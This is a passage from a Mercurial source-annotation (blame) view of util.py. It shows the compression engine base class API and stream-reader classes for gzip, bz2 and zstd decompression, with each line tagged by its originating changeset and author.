358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3247 This method must be implemented.
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3248 """
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3249 raise NotImplementedError()
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3250
30446 64d7275445d0 util: expose an "available" API on compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30428 diff changeset	3251 def available(self):
64d7275445d0 util: expose an "available" API on compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30428 diff changeset	3252 """Whether the compression engine is available.
64d7275445d0 util: expose an "available" API on compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30428 diff changeset	3253
64d7275445d0 util: expose an "available" API on compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30428 diff changeset	3254 The intent of this method is to allow optional compression engines
64d7275445d0 util: expose an "available" API on compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30428 diff changeset	3255 that may not be available in all installations (such as engines relying
64d7275445d0 util: expose an "available" API on compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30428 diff changeset	3256 on C extensions that may not be present).
64d7275445d0 util: expose an "available" API on compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30428 diff changeset	3257 """
64d7275445d0 util: expose an "available" API on compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30428 diff changeset	3258 return True
64d7275445d0 util: expose an "available" API on compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30428 diff changeset	3259
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3260 def bundletype(self):
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3261 """Describes bundle identifiers for this engine.
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3262
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3263 If this compression engine isn't supported for bundles, returns None.
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3264
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3265 If this engine can be used for bundles, returns a 2-tuple of strings of
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3266 the user-facing "bundle spec" compression name and an internal
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3267 identifier used to denote the compression format within bundles. To
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3268 exclude the name from external usage, set the first element to ``None``.
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3269
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3270 If bundle compression is supported, the class must also implement
30369 673f0fdc1046 util: remove compressorobj API from compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30366 diff changeset	3271 ``compressstream`` and `decompressorreader``.
31795 55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3272
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3273 The docstring of this method is used in the help system to tell users
55c0c91f55e6 util: document bundle compression Gregory Szorc <gregory.szorc@gmail.com> parents: 31780 diff changeset	3274 about this engine.
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3275 """
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3276 return None
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3277
30761 7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3278 def wireprotosupport(self):
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3279 """Declare support for this compression format on the wire protocol.
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3280
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3281 If this compression engine isn't supported for compressing wire
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3282 protocol payloads, returns None.
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3283
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3284 Otherwise, returns ``compenginewireprotosupport`` with the following
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3285 fields:
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3286
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3287 * String format identifier
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3288 * Integer priority for the server
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3289 * Integer priority for the client
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3290
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3291 The integer priorities are used to order the advertisement of format
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3292 support by server and client. The highest integer is advertised
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3293 first. Integers with non-positive values aren't advertised.
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3294
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3295 The priority values are somewhat arbitrary and only used for default
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3296 ordering. The relative order can be changed via config options.
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3297
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3298 If wire protocol compression is supported, the class must also implement
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3299 ``compressstream`` and ``decompressorreader``.
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3300 """
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3301 return None
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3302
30798 f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3303 def revlogheader(self):
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3304 """Header added to revlog chunks that identifies this engine.
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3305
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3306 If this engine can be used to compress revlogs, this method should
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3307 return the bytes used to identify chunks compressed with this engine.
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3308 Else, the method should return ``None`` to indicate it does not
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3309 participate in revlog compression.
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3310 """
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3311 return None
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3312
30366 c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3313 def compressstream(self, it, opts=None):
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3314 """Compress an iterator of chunks.
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3315
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3316 The method receives an iterator (ideally a generator) of chunks of
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3317 bytes to be compressed. It returns an iterator (ideally a generator)
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3318 of bytes of chunks representing the compressed output.
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3319
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3320 Optionally accepts an argument defining how to perform compression.
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3321 Each engine treats this argument differently.
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3322 """
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3323 raise NotImplementedError()
c86109eface7 util: add a stream compression API to compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30365 diff changeset	3324
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3325 def decompressorreader(self, fh):
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3326 """Perform decompression on a file object.
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3327
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3328 Argument is an object with a ``read(size)`` method that returns
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3329 compressed data. Return value is an object with a ``read(size)`` that
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3330 returns uncompressed data.
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3331 """
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3332 raise NotImplementedError()
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3333
30794 31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3334 def revlogcompressor(self, opts=None):
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3335 """Obtain an object that can be used to compress revlog entries.
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3336
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3337 The object has a ``compress(data)`` method that compresses binary
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3338 data. This method returns compressed binary data or ``None`` if
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3339 the data could not be compressed (too small, not compressible, etc).
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3340 The returned data should have a header uniquely identifying this
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3341 compression format so decompression can be routed to this engine.
30798 f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3342 This header should be identified by the ``revlogheader()`` return
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3343 value.
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3344
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3345 The object has a ``decompress(data)`` method that decompresses
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3346 data. The method will only be called if ``data`` begins with
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3347 ``revlogheader()``. The method should return the raw, uncompressed
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3348 data or raise a ``RevlogError``.
30794 31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3349
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3350 The object is reusable but is not thread safe.
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3351 """
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3352 raise NotImplementedError()
31e1f0d4ab44 util: compression APIs to support revlog compression Gregory Szorc <gregory.szorc@gmail.com> parents: 30773 diff changeset	3353
38713 27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3354 class _CompressedStreamReader(object):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3355 def __init__(self, fh):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3356 if safehasattr(fh, 'unbufferedread'):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3357 self._reader = fh.unbufferedread
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3358 else:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3359 self._reader = fh.read
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3360 self._pending = []
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3361 self._pos = 0
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3362 self._eof = False
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3363
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3364 def _decompress(self, chunk):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3365 raise NotImplementedError()
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3366
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3367 def read(self, l):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3368 buf = []
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3369 while True:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3370 while self._pending:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3371 if len(self._pending[0]) > l + self._pos:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3372 newbuf = self._pending[0]
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3373 buf.append(newbuf[self._pos:self._pos + l])
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3374 self._pos += l
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3375 return ''.join(buf)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3376
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3377 newbuf = self._pending.pop(0)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3378 if self._pos:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3379 buf.append(newbuf[self._pos:])
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3380 l -= len(newbuf) - self._pos
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3381 else:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3382 buf.append(newbuf)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3383 l -= len(newbuf)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3384 self._pos = 0
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3385
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3386 if self._eof:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3387 return ''.join(buf)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3388 chunk = self._reader(65536)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3389 self._decompress(chunk)
39237 1af95139e5ec util: improve handling of truncated compressed streams Joerg Sonnenberger <joerg@bec.de> parents: 39097 diff changeset	3390 if not chunk and not self._pending and not self._eof:
1af95139e5ec util: improve handling of truncated compressed streams Joerg Sonnenberger <joerg@bec.de> parents: 39097 diff changeset	3391 # No progress and no new data, bail out
1af95139e5ec util: improve handling of truncated compressed streams Joerg Sonnenberger <joerg@bec.de> parents: 39097 diff changeset	3392 return ''.join(buf)
38713 27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3393
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3394 class _GzipCompressedStreamReader(_CompressedStreamReader):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3395 def __init__(self, fh):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3396 super(_GzipCompressedStreamReader, self).__init__(fh)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3397 self._decompobj = zlib.decompressobj()
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3398 def _decompress(self, chunk):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3399 newbuf = self._decompobj.decompress(chunk)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3400 if newbuf:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3401 self._pending.append(newbuf)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3402 d = self._decompobj.copy()
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3403 try:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3404 d.decompress('x')
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3405 d.flush()
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3406 if d.unused_data == 'x':
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3407 self._eof = True
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3408 except zlib.error:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3409 pass
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3410
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3411 class _BZ2CompressedStreamReader(_CompressedStreamReader):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3412 def __init__(self, fh):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3413 super(_BZ2CompressedStreamReader, self).__init__(fh)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3414 self._decompobj = bz2.BZ2Decompressor()
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3415 def _decompress(self, chunk):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3416 newbuf = self._decompobj.decompress(chunk)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3417 if newbuf:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3418 self._pending.append(newbuf)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3419 try:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3420 while True:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3421 newbuf = self._decompobj.decompress('')
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3422 if newbuf:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3423 self._pending.append(newbuf)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3424 else:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3425 break
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3426 except EOFError:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3427 self._eof = True
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3428
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3429 class _TruncatedBZ2CompressedStreamReader(_BZ2CompressedStreamReader):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3430 def __init__(self, fh):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3431 super(_TruncatedBZ2CompressedStreamReader, self).__init__(fh)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3432 newbuf = self._decompobj.decompress('BZ')
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3433 if newbuf:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3434 self._pending.append(newbuf)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3435
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3436 class _ZstdCompressedStreamReader(_CompressedStreamReader):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3437 def __init__(self, fh, zstd):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3438 super(_ZstdCompressedStreamReader, self).__init__(fh)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3439 self._zstd = zstd
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3440 self._decompobj = zstd.ZstdDecompressor().decompressobj()
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3441 def _decompress(self, chunk):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3442 newbuf = self._decompobj.decompress(chunk)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3443 if newbuf:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3444 self._pending.append(newbuf)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	3445 try:
